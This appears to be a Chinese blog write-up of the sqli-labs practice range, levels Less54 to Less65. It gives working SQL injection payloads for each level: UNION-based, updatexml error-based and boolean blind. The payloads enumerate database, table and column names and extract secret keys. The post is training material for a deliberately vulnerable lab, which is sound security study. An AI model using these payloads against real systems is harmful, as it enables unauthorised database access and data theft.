sqli-labs靶场实录(四): Challenges

Less54

本关开始上难度了
可以看到此关仅允许10次有效查询
超过后数据库表名、列名及密钥会随机重置在这里插入图片描述

故需快速精准完成注入,找到对应key,避免浪费机会
看了看源码
发现是基础的单引号闭合
故尝试联合注入

确定字段数

?id=1' ORDER BY 3--+

页面回显正常
字段为3
在这里插入图片描述

获取数据库名

构造?id=-1' UNION SELECT 1,2,database()--+
爆出库名为Challenges
在这里插入图片描述

获取表名

?id=-1' UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+

这里注意每个人的表名都是随机生成的
我的如下GY9BMPY2HM
在这里插入图片描述

获取列名

列名同理随机secret_XXXX

?id=-1' UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='GY9BMPY2HM'--+

在这里插入图片描述

提取密钥值

?id=-1' UNION SELECT 1,2,secret_X3SE FROM GY9BMPY2HM--+

X3SE为随机列名,GY9BMPY2HM为随机表名
得到密钥如下
在这里插入图片描述
登录成功
在这里插入图片描述

Less55

本关卡和上一关的区别在于闭合不一致
其采用的是)闭合
故确定字段数构造?id=1) ORDER BY 3--+

在这里插入图片描述
爆库构造?id=-1) UNION SELECT 1,2,database()--+

在这里插入图片描述
爆表构造?id=-1) UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+
在这里插入图片描述
爆列?id=-1) UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+
在这里插入图片描述

提取数据构造?id=-1) UNION SELECT 1,2,你的列名FROM 你的表名--+
在这里插入图片描述
使用密钥成功登录
在这里插入图片描述

Less56

本关卡和上一关的区别在于闭合不一致
其采用的是')闭合
故确定字段数构造?id=1') ORDER BY 3--+
在这里插入图片描述
爆库构造?id=-1') UNION SELECT 1,2,database()--+

在这里插入图片描述
爆表构造?id=-1') UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+
在这里插入图片描述
爆列?id=-1') UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+
在这里插入图片描述
提取数据构造?id=-1') UNION SELECT 1,2,你的列名FROM 你的表名--+

在这里插入图片描述

使用密钥成功登录
在这里插入图片描述

Less57

本关卡和上一关的区别在于闭合不一致
其采用的是双引号"闭合
故确定字段数构造?id=1" ORDER BY 3--+在这里插入图片描述

爆库构造?id=-1" UNION SELECT 1,2,database()--+在这里插入图片描述

爆表构造?id=-1" UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='challenges'--+在这里插入图片描述

爆列?id=-1" UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema='challenges' AND table_name='你的表名'--+在这里插入图片描述

提取数据构造?id=-1" UNION SELECT 1,2,你的列名 FROM 你的表名--+在这里插入图片描述

使用密钥成功登录
在这里插入图片描述

Less58

本关卡只有5次测试机会
故需要谨慎应对
在这里插入图片描述
经过几次摸索测试
发现页面不会返回数据库查询结果
故联合注入无法使用
改用报错注入

爆库构造

?id=1' and updatexml(1,concat(1,database()),1)--+

在这里插入图片描述

爆表构造

?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+

在这里插入图片描述

爆列构造

?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+

在这里插入图片描述

密钥提取构造

?id=1' AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

在这里插入图片描述
密钥登录成功
在这里插入图片描述

Less59

这一关和上一关区别在于其不需要单引号 闭合
故爆库构造?id=1 and updatexml(1,concat(1,database()),1)--+在这里插入图片描述

爆表构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+在这里插入图片描述

爆列构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+在这里插入图片描述

密钥提取构造?id=1 AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+
在这里插入图片描述
密钥登录成功
在这里插入图片描述

Less60

本关和上一关区别在于本关采用的是")闭合
故爆库构造?id=1") and updatexml(1,concat(1,database()),1)--+在这里插入图片描述

爆表构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+在这里插入图片描述

爆列构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+在这里插入图片描述

密钥提取构造?id=1") AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+在这里插入图片描述

Less61

本关和前关区别在于本关使用的是'))闭合
故爆库构造?id=1')) and updatexml(1,concat(1,database()),1)--+在这里插入图片描述

爆表构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()), 0x7e), 1)--+在这里插入图片描述

爆列构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='你的表名'), 0x7e), 1)--+在这里插入图片描述

密钥提取构造?id=1')) AND updatexml(1, concat(0x7e, (SELECT GROUP_CONCAT(你的列名) FROM 你的表名), 0x7e), 1)--+

在这里插入图片描述

Less62

本关经测试不会回显报错信息
故报错注入也用不了了
故只能采用盲注
这里采用布尔盲注做例

爆库构造

?id=1') and ascii(substr(database(),1,1))>98--+

在这里插入图片描述

?id=1') and ascii(substr(database(),1,1))>99--+

在这里插入图片描述

这里能判断首字母98<Ascii码<=99
故得到首字母为c
以此类推得到数据库名challenges
表名测试参考?id=1') and ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1))>100--+
列名测试参考?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='users' limit 0,1),1,1))>104--+
数据测试参考?id=1') and ascii(substr((select column_name from information_schema.columns where table_schema='challenges' and table_name='users' limit 0,1),1,1))>105--+

Less63

这一关为单引号'闭合
62关的payload修改一下即可使用

Less64

这一关为))闭合
62关的payload修改一下即可使用

Less65

这一关为")闭合
62关的payload修改一下即可使用

免责声明:

本文章内容仅为个人见解与实践记录,旨在分享网络安全知识。文中观点、工具、技巧等,均不构成专业建议。读者需自行判断其适用性,并对任何因采纳本文章内容而引发的行为及结果承担全部责任。作者不对任何形式的损失负责。请务必谨慎操作,必要时咨询专业人士。

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值